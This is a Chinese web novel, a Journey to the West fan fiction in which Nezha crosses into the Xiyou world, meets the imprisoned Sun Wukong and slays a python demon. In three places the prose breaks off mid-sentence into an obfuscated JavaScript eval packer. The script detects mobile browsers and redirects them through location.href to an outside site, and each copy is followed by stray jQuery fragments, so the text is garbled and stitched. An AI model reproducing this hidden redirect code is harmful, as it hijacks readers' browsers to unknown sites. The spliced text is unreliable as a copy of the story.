《[西游]哪吒善良,但素质不详》
1. 第 1 章
孙悟空顶着满头青苔趴在石缝里,树上垂下的枝桠搔得他的鼻尖发痒,他不耐烦地撇开树枝,百无聊赖地望着慢吞吞从五行山前飘过的云彩。
“老土地!”他忽然扯着嗓子喊,惊得山壁簌簌落灰,“今日初几了?”
山脚下钻出个白胡子老头,战战兢兢地冒头,“回大圣,是二月十八。”
“上回观音说取经人何时来?”
“菩萨只说五百年劫满……”
土地公缩着脖子后退半步,上回观音菩萨来时他也在场,菩萨只说了这样模棱两可的话,但这显然不是孙悟空想要的回答。
“呸!”孙悟空一口咬断嘴边的狗尾巴草,啐出口中嚼烂的草茎,“来来回回就是这套说辞!那和尚莫不是被妖怪煮了!”
他盯着山道拐弯处的方向,那里已有许久不曾扬起蹄尘。
土地公从岩石后边小心翼翼地探出半张脸,“大圣明鉴,菩萨说过,那取经人必经此地……”
“必经个屁!这鬼地方连耗子都不肯打洞!”
那土地知他心情不好,也不再与他多费唇舌,只奉上他今日要食用的铜汁铁丸,一溜烟就消失得无影无踪。
五百年前,齐天大圣用金箍棒搅得天翻地覆,天河的水浇不灭他眼中的狂气,斩妖台的雷火碾不碎他身上的恣意。
五百年后,五指山底的猴王沾满泥浆,乱发间满是苔藓,右臂从岩缝里探出,不论如何挣扎却依旧动弹不得,瞧着狼狈极了。
最初百年他日日挣得山石崩裂,震得山神土地东倒西歪,日日咒骂天庭与如来,从南天门的守将骂到玉帝老儿的十八代祖宗,直到他眼睁睁看着自己的挣扎只会换来更深重的镇压,才算是偃旗息鼓,逐渐消停下来。
等待并不可怕,可怕的是没有尽头的等待。因此,当观音菩萨踏莲而来,说他只需保一位从东土大唐来的和尚去西天取经,便能重获自由时,孙悟空的火眼金睛才重新点燃希望。
从此,每逢山道上的马蹄声近,他便扯开嗓子嚷得群山回响,惊飞满林昏鸦。
但至今为止,孙悟空都不曾等到观音菩萨所说的取经人。
“这和尚……这和尚怎的还不来!”他揪秃了手边最后几根草,吼声裹着五百年的怨气,“是要磨蹭到王母改嫁吗!”
眼见着夕阳西下,天色昏暗,落日把五行山的阴影拉得极长,直到最后一缕金光扫过山道,却依旧空无一人,孙悟空金瞳里的火苗逐渐暗了下去,心知今日又算是白等了。
正当孙悟空准备再次颌眼时,山脚突然传来枯枝断裂的咔嚓声,他猛地昂起脖颈,连忙扯着嗓子喊:“师父——师父哎——!”
他拖长着声调,破锣嗓子在山谷里撞出三重回音,声音里满是对自由的渴望。
孙悟空正伸着脖子张望山道拐角,却迟迟不见那边的人影儿,反而是碎石哗啦滚落头顶,他烦躁地甩头,五行山顶突然炸开一团火光,红绫裹着个扎冲天辫的孩子从天而降,咚地踩在孙悟空的脑门上。
"呔!何方妖孽敢拿你孙爷爷当踏脚石!"猴子龇牙咧嘴地晃动脑袋,灰尘簌簌落进他脖颈。
“哎呀,我说怎么踩着怪滑的。”哪吒后空翻落在山石上,火尖枪往肩头一扛,歪头盯着山下只露出个脑袋的孙悟空,“那土地老头儿让我来寻个叫齐天大圣的,说是要跟我们一块去取经。不会就是你吧?卡在山缝里长蘑菇的这位?”
“卡你个头!你孙爷爷就是五百年前大闹天宫的齐天大圣!”孙悟空气得金瞳冒火,“你这是哪里来的奶娃娃!奶都没吃够就跑出来了吧?”
他抬眼打量这藕节似的娃娃,杏眼圆睁时还能瞧见点孩童稚气,咧嘴笑时便露出两颗尖尖虎牙,混天绫缠在腰间活像条叛逆的尾巴,怎么看怎么觉得眼熟,像是跟那哪吒三太子一个模子里刻出来的。
“什么齐天大圣,不就是个长毛的石头精!”哪吒踩着风火轮绕着石头转了两圈,如今的孙悟空面容落魄,早已没了齐天大圣的半点风采,他有些失望地说道,“取经这种小事,有小爷不就行了嘛,哪还需要旁人。”
“你这小屁孩,长得还没土地公的拐杖高,口气倒是不小。”孙悟空倒也没把哪吒的话放心上,只是奇怪道,“你叫什么名字?”
同时,他在心里暗自嘀咕着,这李靖老儿一大把年纪,竟然还能老树开花,也不知什么时候又下了个崽。
“小爷行不更名坐不改姓——陈塘关哪吒!”
“哪吒?”孙悟空呲着牙乐了,“这三太子何时换了副娃娃脸?俺老孙认识的哪吒,可不长你这般模样,你这是打哪来的冒牌货?”
当年孙悟空在天庭当值时,与那哪吒三太子意气相投,算得上是旧相识。后来大闹天宫时,三太子与他在凌霄殿前过招,那火尖枪戳过来都是棉花劲儿,也是饶了几分面子。
“你才是冒牌货呢!”哪吒颈间乾坤圈哐当震响,他最听不得这句话,偏偏自打被那破爪子扔进这西游世界,十个人里有九个半都要质疑他的身份。
这事儿的来龙去脉,大概还得从半月前说起。
那时与南极仙翁麾下的除妖司恶战结束不久,哪吒拄着火尖枪坐在残破的城楼上,正琢磨着怎么应付那白胡子老头的秋后算账,东海龙太子飘落在他身侧,“你师父又喝醉了。”
“他哪天清醒过?”哪吒漫不经心踢起块碎石,嗖地射向海面。
哪吒心里明白,他这便宜师父夹在陈塘关的存亡和玉虚宫的阴谋中间,能替他们主持公道已是不易,成天抱着酒葫芦酒不离口,或许也是借酒消愁。
——当然,也说不准是这酒鬼本就馋酒。
话音未落,城墙轰隆塌了一截,他那酒鬼师父驾着坐骑颠颠儿地过来,酒葫芦在腰带上晃荡:“乖徒儿,快看看师父刚刚捡到的宝贝!”
他的手掌摊开,掌心里躺着片泛着青绿光泽的鳞爪。
哪吒嫌弃地看他一眼,用枪尖挑起鳞爪对着夕阳端详:"破瓦片似的,海边捡的?"
“这是……”旁边的敖丙冰蓝瞳孔猛地收缩,“这是我东海龙宫的虚空爪?太乙师伯是从何处得来的?”
龙宫奇珍异宝万千,而这虚空爪却堪称镇海至宝。只需稍稍一挥,别说从东海到陈塘关,便是九幽禁地也能撕开条裂缝。
“就这破铜烂铁?”哪吒盯着掌中鳞爪,三昧真火直窜天灵盖。这劳什子虚空爪搅得陈塘关与东海龙宫险些兵戎相见,差点儿就让那除妖司坐收渔翁之利,把陈塘关连同东海龙族一锅炼了,倒也难怪他看见这玩意儿就来气。
“刚刚我在海边,看到浪头卷过来这么个亮晶晶的玩意儿!”太乙真人擦了擦嘴边的酒渍印,“肯定是申公豹那呆子落下的!”
“这有什么用?”哪吒手头一抖,将鳞爪甩回太乙真人怀里,“那龙宫都塌了,这破烂留着干嘛?”
“你别说!师父现在就想到个绝妙的主意……”
“什么主意?”哪吒后颈汗毛唰地立起,条件反射后退三丈,“你又要整什么幺蛾子?”
“别急嘛……”醉鬼道士又打了个酒嗝,“你说,咱们现在最担心什么?”
“怕你出馊主意!”哪吒吐槽起太乙真人,那嘴上是毫不留
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090556|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
情。
还是敖丙认认真真回答道:“除妖司必会纠集人马,再度……”
“可不!”太乙真人用力拍了拍敖丙的肩膀,“大师兄生平最丢不得面子,此番回去,定要颠倒黑白告我们欺师灭祖!”
“他还敢恶人先告状?”哪吒一脚踹飞脚边的碎石,“小爷的仇还没跟他算完呢!”
“我就怕……”太乙真人缩着脖子退后半步,“就怕他说服了师尊和其他师兄……”
哪吒一把揪住太乙真人衣襟:“老东西放个屁他们就当真?你不是也在场吗!”
“呃,这个嘛……”醉鬼道士的眼神飘向海平面,不敢直视哪吒的眼睛。
“不是吧?你在玉虚宫混了这么多年,连这点信用都没有吗?”哪吒有些匪夷所思。
“师尊闭关以来,门中事务都是大师兄代管……”太乙真人梗着脖子嚷嚷,“上次我见到其他师兄,还是好久以前了……”
说白了,这事儿虽是他们占着理,但太乙真人在玉虚宫是出了名的不靠谱,若是南极仙翁耍手段欺上瞒下,他们还真没辙。
“师祖他不是洞悉天机吗?”敖丙听他这样一说,也有些忧心忡忡,“这样的事情,应该蒙蔽不了他吧?”
“现在封神大劫将至!”太乙真人摇了摇头,“天机混淆,师尊怕是也算不清楚哦.……”
他的声音越说越小,最后几个字混进了海浪声里。
“那该怎么办!”哪吒这下也没辙了,谁让他拜了这么个倒霉师父,他只好问道,“你想到什么主意了?”
“我们先下手为强!先去找师尊告状!”虚空爪在太乙真人掌心旋转,割开细小的空间裂缝,“师尊在小世界闭关,入口在玉虚宫,但我们有这个!”
“而且师尊他老人家神通广大……”太乙真人突然凑近哪吒耳边,酒气熏得少年皱眉,“你娘亲说不定能……”
先前陈塘关连同东海龙族,与那阐教除妖司一场大战,殷夫人重伤不醒,被放入东海龙宫的水晶棺,目前仍是生死不明。
海风忽然静止了,哪吒也忽然变得安静下来,他目光灼灼地看向太乙真人,“你说能救我娘?”
醉鬼道士的酒葫芦“咚”地掉在沙滩上:“师、师尊吹口气,都能让白骨生肉……”
“那还等什么呢!快让小爷去看看这元始天尊到底长什么模样!”
虚空爪在太乙真人手中嗡鸣震颤,鳞爪边缘迸溅出璀璨火花,随着醉鬼道士挥动划破天空,一道狰狞的时空裂痕凭空绽开,里层翻涌着混沌星云。
“天璇对摇光,开阳转玉衡……”太乙真人蘸着唾沫在掌心演算,“糟了,好像喝多了,这星图怎么在飘……”
哪吒心急如焚,太乙真人话还没说完,他就已经踩着风火轮腾空而起,如赤色流星贯入裂缝,太乙真人慌得说话都结巴:“等……等一下!坐标好像少算了个零——”
“哪吒!”
裂缝的时空边缘随着哪吒的进入迅速坍缩,星云漩涡刹那间吞没了少年衣角,而后消失得无影无踪。敖丙化龙冲过去时,龙须堪堪扫过最后一点星芒,整片虚空就如海市蜃楼般消散。
敖丙的龙爪在海风中抓了个空,冰蓝瞳孔映着消散的星屑,只能茫然问道:“他这是去哪儿了?”
“莫慌莫慌!”太乙真人甩着乾坤袋当空一抖,算盘珠子混着糖葫芦签子劈头盖脸砸下来,“待我再算一算……”
但就如他刚刚所说的那样,天机混淆,难以参透,他算上半天,也只能盯着指针乱转的星盘抓瞎,最后讪笑宣告失败:“我也不知道了……”
2. 第 2 章
“这到底是什么鬼地方?”
哪吒踩着风火轮在云层里乱窜,脚下嶙峋的山峰陌生得扎眼。三天前穿过那道裂缝时,太乙真人拍着胸脯保证这是去元始天尊那儿的近道,如今别说白胡子老头,连个仙童的影子都没瞧见。
“定是那老酒鬼又喝昏了头!搞错方位了!”
哪吒望着脚底下的景象,气不打一处来。往常从陈塘关到玉虚宫,风火轮转个半天就到,如今飞了一天一夜,西边却突然冒出座鎏金山峦,金箔般的佛光刺得他眼眶生疼,祥云里飘来的梵音听得他耳朵发酸,最恼人的是那山周祥云缭绕,偏透着股令他汗毛倒竖的威压。
直到后来,他才知道那原来是西方佛国所在的灵山,天生与他身上的戾气相冲。
但最令哪吒心烦的,还是他忽然发现,自己竟找不着回家的路了。
哪吒分明记得陈塘关就在东海旁边,此刻调头东返时,本该熟悉的城池竟变成延绵千里的陌生丘陵,海边连块眼熟的礁石都寻不见。
哪吒升到云巅俯瞰时,心脏猛地揪紧,记忆里碧波万顷的海面,此刻灰蒙蒙延伸至天际,吞噬了所有熟悉的痕迹。
“我就知道,这师父果然靠不住!”
哪吒在天上跟没头苍蝇似的转了两天,这两天他试过所有方位,朝各个方向飞了个遍,就是找不着陈塘关半片屋瓦,也寻不见太乙真人和敖丙的身影。
直到此刻,他才不得不承认一个事实,这里已经不是他所熟悉的世界了。
当意识到这点的时候,哪吒叹了一口气,风火轮的火苗蔫得像霜打过的茄子,托着他歪歪斜斜往下坠。他没日没夜飞了数日,肚皮早已饿得咕噜作响,逼得他不得不降下去找点吃的。
那是山下的一座小镇,青砖灰瓦的院落依山势层叠,黄土夯实的院墙在坡地上起伏,踏上青石板路,拐过几条巷子就是主街。
卖糖人的老头敲着铜片,货郎担的铃铛撞得叮当响,哪吒打小就在陈塘关里长大,后来好不容易出了一次远门,也是到玉虚宫参加升仙考核,自然瞧什么都觉得新鲜。
但对于此刻饥肠辘辘的哪吒而言,最让他挪不开眼睛的,还是那包子摊儿。
他晃到蒸笼跟前,白茫茫的蒸汽里蹿出麦香,他咽了咽口水,直接伸手抓向最浑圆的肉包,面皮烫得在掌心颠了两转。他张嘴就用尖牙“咔”地撕开豁口,滚烫肉汁溅在鼻尖也顾不上擦。
“五文!”摊主的擀面杖把案板敲得震天响,“哪家娃娃这般不懂事!”
哪吒鼓着腮帮子瞪回去,尖牙呲着:“吃东西还要钱?”
他当年在陈塘关可没这规矩!
哪吒破开时空障壁时耗费了太多法力,少年身形早已缩回孩童模样,又在天上没日没夜飞了几宿,满脸灰尘混着汗渍,活似个刚从灶膛里钻出来的野孩子。
卖包子的老汉盯着他那狼狈的模样,叹着气又塞给他个包子:“最后一个了啊!”
他这是小本生意,又不是赈灾的地方,可经不起这样祸祸。
哪吒连忙接过去,又三口连皮带馅囫囵吞下,但他几天几夜都没吃东西,这两个哪够,他盯着笼屉里冒热气的褶子,喉咙跟着蒸笼的“噗噗”声滚动,却也不好意思再伸手。
“会射箭不?”那老汉瞧着他可怜,指着街尾的木靶子,给他说了条明路,却不知也是其他摊主的死路,“那边三箭中靶心给二十文。”
镇上集市正热闹,那些射箭套圈的摊主们,往日里都能赚个盆满钵满,可今日偏偏碰见了哪吒,差点亏了个底朝天。
褪了漆的榆木靶子戳在土坡上,见哪吒过来,摊主晃着三支竹箭吆喝:“小郎君试试?三文钱三箭,三箭中红心送二十文!”
“射箭也要钱?”哪吒摸着空空如也的腰包,有些失望地撇嘴,“我可没带钱。”
“头一遭算送你的!”摊主顺手递过弓箭,心想这破落模样的娃娃,能中一箭都算造化,“下回再来!”
那竹箭入手轻得发飘,这分量比芦苇杆还轻三分,难怪方才的白面书生连靶边都擦不着。
“你可得瞄着靶子,莫要对着人啊……”摊主捏着竹箭比划,还专门嘱托道,虽说这竹箭轻飘飘的,但打到身上也是挺疼的。
他话音未落,弓弦震响的刹那,竹箭离弦时竟然带着破风声,三丈外褪色的木靶瞬间爆开木屑,居然直中红心。
摊主举着示范用的箭杆僵在原地,眼皮刚跳两下,又看着第二支箭“咔嚓”劈开前箭的尾羽,第三箭更是夸张,干脆直接带着红心木块钉进了后墙。
“再来十轮!”哪吒把裂开的竹弓拍在案上,这简简单单二十文就到手了,挣钱哪有那么难嘛!
“小祖宗高抬贵手……”摊主抹着汗,攥钱袋的手直哆嗦,心知遇见了高人,“我给您六十文,您去东街祸害套圈摊成不?”
套圈摊前人头攒动,生意远比射箭摊红火。毕竟射箭还是需要些本事,套圈儿却是人人都能参与。哪吒挤进人堆时,正瞧见藤圈满天乱飞,十有八九砸在陶罐阵外。
“套中哪个拿哪个!”摊主晃着藤圈吆喝,哪吒扫了一眼,见都是些瓶瓶罐罐,有些兴致缺缺,正要转身离开,忽听那摊主扯着嗓子加码,“套中青瓷观音送整吊钱!”
那尊青瓷观音釉面光滑,那些藤圈能卡住的几个关键部位,早被他用桐油抹得溜光水滑。见往来客商套了这么久都栽在这物件上,他索性把价码翻了个倍,专钓那些不信邪的冤大头。
哪吒一听有钱能赚,立马从旁边扎羊角辫的小姑娘那要来个藤圈,这玩意轻飘飘像柳絮,偏偏弹性极好,落地却蹦得比青蛙还高,难怪满场没几个套中的。
那藤圈在他的指尖转了三转,哪吒又眯眼瞄着十步外的陶罐阵,随手一抛,摊主刚吆喝完,就见那圈儿打着旋儿飞出去,不偏不倚扣住最顶上的青瓷观音手腕,一下子激起满堂喝彩。
“这不算!”摊主涨红了脸,不管不顾地拍案道,“得套中脑门才算数!”
“这不是耍赖吗!方才怎么不说这规矩!”送给哪吒藤圈的羊角辫小姑娘气得跺脚。
“这规矩一直都有,你没听见罢了!”那摊主见套中的是俩小孩,存心不认账。
哪吒撇了撇嘴,直接把小姑娘怀里的藤圈全接了过来,手腕一抖,第一个圈就“嗖”地套中青瓷观音的头,第二个圈飞出去时在半空画了个弧,连底
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090557|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
层最大的腌菜坛子也圈了个正着。
藤圈接二连三地飞了出去,却是百发百中,别人套半天套不中的,在哪吒这里却是信手拈来。摊主眼睁睁看着自家镇摊的彩釉壶也被套走,直接一屁股瘫坐了下去。
哪吒指尖最后一个藤圈打着转飞出去,却是稳稳挂在了摊主头顶的毡帽上边,竟是要把这摊主也圈走。在众人的哄笑声里,摊主哭丧着脸摸出钱袋哀嚎:“小祖宗高抬贵手,这摊子送您了成不?”
至于那相扑擂台就更是闹了笑话,擂台中央的赤膊汉子正卖力耍着三百斤石锁,忽见个穿红肚兜的娃娃单手拎起了压场子的镇河石,惊得腰带都来不及系,就抱着石锁连滚带爬退到绳圈边认了输。
他算是看得透彻,这要是挨上一记,轻则伤筋动骨,重则小命呜呼,损点面子又算得了什么。
日头西沉时,哪吒懒洋洋坐在石阶上,腰间的钱袋满当当都是铜板,他左手一个包子,右手一幅糖画,混天绫缠着五六根冰糖葫芦的空竹签——自打到这世界里来,就数今日最像神仙日子,往常在陈塘关时,连踢毽子都没人陪他玩。
“要是敖丙也在这便好了。”哪吒叹了口气,望着远方喃喃道。他如今不知何日才是归期,在这举目无亲的异乡,更是觉得茫然。
哪吒啃完最后一颗糖山楂,瞅见槐树下三个小丫头脑袋碰着脑袋,手里攥着草茎较劲。他鞋尖踢飞颗石子,凑过去歪着头问,“这破草有啥好玩的?”
“斗草呢!”扎双螺髻的绿衫丫头白他一眼,“谁的草茎先断谁输!”
说话间,她手里的狗尾草“咔”地绞断了对面的草茎,溅起的草屑落在哪吒鞋面上。
“这有什么难的?”哪吒不屑道。
绿衫丫头把新摘的牛筋草甩得啪啪响,“有本事你来呀!”
哪吒蹲下来就扯了把墙头野草,可那草茎刚对上丫头的牛筋草,刚用力就碎成三段——原来人家专挑叶脉粗壮的老草,他却揪了把嫩得出水的蒲公英茎。
哪吒不信邪地薅了把墙根最粗的茅草,信誓旦旦道:“这次肯定赢!”
俩草茎刚交缠,他猛力一扯——啪的一声,他自个儿那根先断成两截。
“劲儿大顶什么用!”蓝布裙丫头捏着完好无损的草茎,“要挑韧劲足的,像这种……”
“手腕要沉!”黄衫小丫头叼着哪吒送的麦芽糖,含混指点道,她方才用狗尾草连赢三场,“发力不能太猛!要讲究巧劲!”
待到天色晦暗时,哪吒瘫坐在槐树下,地上摆着七八根断草,心里总算明白刚刚那些摊主的心情了。
“你们是不是耍诈了!”
“呀!红肚兜输不起了!”
丫头们笑作一团,哪吒红着脸别过头去,活像只炸毛的猫。
“走啦走啦,阿娘炖了排骨汤。”远处炊烟袅袅升起时,丫头们拍拍裙子起身。
哪吒攥着把断草,偷偷拉了拉蓝布裙的竹篮:“喂!你们明天……明天还来吗?”
“你要把糖都输光呀?”绿衫丫头刮着脸皮羞他。
三个小身影蹦跳着转过巷角,蓝布裙丫头忽然回头喊:“你去城西河滩找找,那里的草最韧啦!”
3. 第 3 章
愉快的时间总是极为短暂,夕阳最后一抹金晖卡在山坳时,哪吒正蹲在糖画摊前犯愁,犹豫着是选条龙还是选头虎,那三个小丫头蹦跳着往山道去,头上别着的野花还在晃悠。
“收摊喽!”卖包子的老汉开始撤蒸笼,白雾混着肉香笼住半条街,其他摊位也陆陆续续开始收摊。
哪吒揉着撑得跟拨浪鼓似的肚皮,嗓子眼里却像有馋虫在挠痒痒,他的小手伸了又缩地冲着蒸屉比划:“要不……再塞俩?”
哪吒前两天饿得前胸贴后背,但一想到太乙真人,伸向蒸笼的手又触电般缩回——这要继续吃下去,还不得变成第二个笨蛋师父?他猛摇头甩开满脑子肥肉乱颤的画面,“还是算了,再馋也不能往死里塞!”
这时山道方向冷不丁地炸开声闷雷,惊得他打了个哆嗦。
“什么鬼动静?”哪吒转头望去,西边山脊上忽然亮起两盏血红灯笼,在暮色里忽明忽暗,他戳了戳旁边收拾蒸笼的老汉,“你们山上还点灯笼?这么气派啊?”
“什么灯笼?”老头有些不明所以,抬头就瞬间慌了神,手上的包子滚落在地,“那是……那是蟒精的眼珠子啊!”
他的一声惊呼传出去,整条街的嘈杂声突然断了片,套圈摊的彩陶罐噼里啪啦碎了一地,卖糖人的铜锅滋啦溢了糖浆,茶摊老板踹翻木桌横在当街,连钱匣子都顾不上拿,踩着碎瓷片就往巷口窜。在一片混乱中,哪吒反手揪住个逃命的货郎:“咋回事?”
货郎的扁担早不知甩哪儿去了:“妖、妖蟒又来了!”
话音未落,山道口的树丛轰然倒伏,二十丈长的红鳞大蟒碾过碎石堆,鳞片刮擦青石的声响极为刺耳。
“小郎君快逃啊!”卖包子的老汉推攘着哪吒后背,“那蟒精吞过好多人了!”
“嚷嚷啥?小爷可不怕妖怪!”哪吒甩开老头的手,“这孽畜害了这么多人,你们就只知道逃?”
他拧着眉头打量山隘口——若是在陈塘关地界,莫说吃人的精怪,便是偷鸡的狐妖都得抓起来示众。这蟒精竟能害人修炼至此,着实让他想不明白。
老头叹气道:“前些日子,我们也请人降过妖,来了个道长,说是已将其毙于剑下……”
“那怕是诓你们的吧!”哪吒冷笑道,那妖蟒已完全展露身形,蛇身盘曲塞满整条峡谷,头颅昂起高过镇口牌楼,两只血红色竖瞳足有石磨般大小。
这般山岳似的庞然妖物,也不知吞了多少活物才修成,瞧它身周笼罩的血雾,便知这妖蟒造了不少杀孽。
哪吒本来只是随意找了个地方落脚,自然不知此地竟是远离陈塘关上千里的七绝山。这蟒蛇精仗着昼伏夜出的习性,白日里盘踞洞穴蛰伏,夜里便兴妖作怪为祸乡里。
此妖虽然道行不深,却仗着地利连伤了好几批除妖人,后来更是胆大包天,竟敢偷袭西行取经的唐僧一行,将那齐天大圣都囫囵吞入腹中,却被猴王在肚子里翻江倒海,落得个肠穿肚烂的下场。
而如今,这蟒蛇精提前撞在哪吒枪尖上,想必也是命中注定有此劫。
“囡囡!”卖包子的老汉面色一变,嘶吼着就要朝着那边扑过去,却被旁人死死拽住,那蟒尾卷着的,正是刚刚跟哪吒斗草的蓝衫丫头。
“给小爷松开!”
哪吒生平最见不得妖怪害人,他蹬着风火轮冲天而起,身边腾起的火焰把周边照得亮如白昼。
巨蟒昂起头颅,猩红竖瞳里闪过一丝轻蔑——往日多少刀剑劈砍在它铁甲般的鳞片上,连道白痕都不曾留下。此刻见那红衣孩童持□□来,竟懒洋洋盘起身子,居然不闪也不避,只待着哪吒自投罗网,好让它一口吞下。
“当小爷的火尖枪是烧火棍?”
哪吒冷笑一声,他的火尖枪又岂是凡间刀剑能比拟的,枪尖的三昧真火轰然暴涨,在熔穿红鳞捅进蛇身的瞬间,腥臭黑血遇火即燃,炸开的焰团映亮巨蟒瞳孔中猝不及防的惊恐。
趁着巨蟒吃痛松脱的刹那,哪吒踩着风火轮掠过蛇身,混天绫捞起吓懵的蓝衫丫头,稳稳甩到了镇口的老槐树下,他们方才就在这里斗草。
“快躲起来!”哪吒扭头喝道,余光瞥见丫头踉跄着扑进茅屋,他才又放心地回去迎战巨蟒。
那巨蟒疯狂甩动身躯,始终想不通那红衣孩童的火为何扑不灭。却不知这三昧真火遇水则燃、遇风更旺,当年连齐天大圣在炼丹炉里都吃过苦头,它甚至能清晰感知到身体里面的脏器灼烧般的痛楚。
这娃娃绝非先前那些虚张声势的和尚道士能比的!
那蟒蛇精瞳中闪过寒光,心知这回碰到硬茬了,立刻萌生退意,当即扭身撞塌半片山崖往西逃窜,拖着烈焰就往山缝里钻。
这山坳里七拐八绕的,这条大长虫在这儿称王称霸也有好些年头了,但凡见势不妙,就往岩缝里一钻,任谁也寻不着踪迹。等外头消停了,这畜生才敢探头出来作妖。
就比如前些日子,这长虫就撞上个青袍道士,挨了三五道天雷,虽只劈得鳞片都没掉几片,却吓得它一溜烟钻进了洞穴里。这孽畜饮露水啃苔藓蛰伏了整整三个月,直到今日才敢探头,却又碰见了哪吒。
“想跑可没门!给小爷留下来!”
哪吒暴喝一声,踩着风火轮凌空折转,他深知除恶务尽的道理,若是今日让这恶蟒逃出生天,山下镇民日后必遭报复。因此他并没有放过这恶蟒的打算,扛着火尖枪就追了上去。
那巨蟒见哪吒穷追不舍,蟒尾骤然弓起,卷起万钧岩块呼啸砸来,哪吒本能侧身要避,眼角瞥见飞石直指小镇,只能硬生生收住身形。
“给我破!”
哪吒将火尖枪抡出半圆焰弧,巨石在空中炸成齑粉,反震力震得他虎口发痛,他的混天绫挡下飞溅的碎岩,但身后小镇却是安然无恙,他啐骂道,“阴险畜生!就会耍这些下三滥手段!”
“给小爷滚出来!藏头露尾算什么本事!”
那巨蟒本想趁机缩进山缝,哪吒足尖踏过树干飞跃而起,混天绫如锁链缠住蟒尾,右手的火尖枪贯透鳞甲,竟是将这巨蟒钉入了山壁。
他此时周身魔焰翻涌,魔气冲天,若不是知晓这恶蟒作恶多端,反倒像是他在恃强凌弱一般。
那大蟒疼得直甩脑袋,脑壳哐哐撞在石壁上,溅起的碎石四处飞溅。哪吒刚抬手挡脸,那畜生突然从烟尘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15090558|163632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里探出脑袋,张开血盆大口就朝着哪吒扑咬过去。
“等你半天了!”
哪吒对此早有戒备,他抡圆胳膊甩出乾坤圈,金环打着旋儿砸中蟒蛇的天灵盖,就听“咔嚓”一声脆响,蟒头被砸出个脸盆大的凹坑,鳞片都翻卷起来,连带着三颗半尺长的蛇牙都崩飞了出去。
“你不是爱吃人吗?”
哪吒的火尖枪裹着烈火捅进大蟒的七寸,枪头在里面狠绞两圈,那孽畜疼得蛇尾乱砸,鳞片缝隙直往外飙黑血——要是能说人话,这蛇精早该求饶了。只可惜这畜生道行太浅,连变个人形都不会,更不会口吐人言,只能“嘶嘶”吐着信子。
“专挑妇孺下口是吧?”
第二枪自半空贯下,沿着蛇腹撕裂先前的伤口,三昧真火顺着妖物经络肆虐,烧出了几个透光的窟窿。
哪吒的枪势如虹,一枪重过一枪,直至妖躯几近断作两截,当他最后一枪扎穿蛇颅时,烈焰已从鳞片缝隙喷涌而出,二十余丈的蛇身彻底被魔焰吞没,宛如一盏燃烧的灯笼,照得峡谷亮如白昼。
至此,这头为祸七绝山多年的蟒妖,终是化作了一团焦炭。
“这次,总算是真除害了。”
哪吒望着跃动的火光轻声自语。
陈塘关世代抵御妖患,自幼听着父母斩妖故事长大的哪吒,曾以为只要是斩妖便是替天行道。因此先前他参加阐教的入门大选,接下南极仙翁的除妖令时,还曾暗自开心过,满以为自己能在功劳簿上记满红章,能像爹娘那般受人爱戴。
可那死老头儿,让他除的是什么妖?!
那在荒原上哆嗦的小妖,连碗稀粥都要省着喝,哪像能祸害人间的样子?竹林里的那帮小精怪整日沉迷练武,冬练三九、夏练三伏,又何曾害过人?
就连那石矶娘娘,也不过枯守海外孤岛,天天在那里自娱自乐,又如何能称得上是魔头?哪吒当时不曾细想,但如今想来,这不过是玉虚宫以妖怪炼丹所作的幌子。
他后来才想明白,这天地间的是非曲直,在内里而不在皮相。这世间的事分对错,人分正邪,妖也是如此,谁也不比谁高贵。
那祸乱四方、挑起争端,一手酿成陈塘关的惨剧,甚至妄图将东海龙族斩尽杀绝的南极仙翁,在哪吒心中,这般行径比那作恶多端的妖王更狠毒百倍——该千刀万剐的,分明是这披着仙袍的老魔。
可气的是哪吒自己当初被那老头儿当枪使,把山里那帮懵懵懂懂的小妖全给捆了,让除妖司送进了玉虚宫,指不定早都填了炼丹炉,化作了炉里的一缕青烟。
虽说这事儿就算没他掺和,被除妖司盯上的小妖也注定逃不掉,但此事终归是因他而起,因此哪吒的心中难免觉得愧疚。
正因如此,当撞见这荼毒乡里的蟒妖时,他二话不说就抄起火尖枪,若是能宰了这畜生,既能给乡亲除害,自己心里也能舒坦点儿。
山崖下的火光映红哪吒脸庞,火尖枪插在焦黑的蛇首旁,至少今夜,这杆枪护住了真正该护的人。
哪吒正望着火光出神,忽听得云层中一声炸响般的断喝——
“何方妖魔,竟敢在此地撒野!”
4. 第 4 章
“哪个不长眼的在这大呼小叫!”
哪吒还沉浸在除妖的得意劲儿里,盘算着下山接受乡亲们的喝彩,冷不防被这声暴喝惊得浑身一激灵。他猛地把火尖枪从蛇首中抽出,转身时正见云层裂开金光,风火轮卷着烈焰破空而至——那冲出的金甲少年眉目与他仿佛是一个模子里刻出来的,俨然是另一个全盛时期的自己。
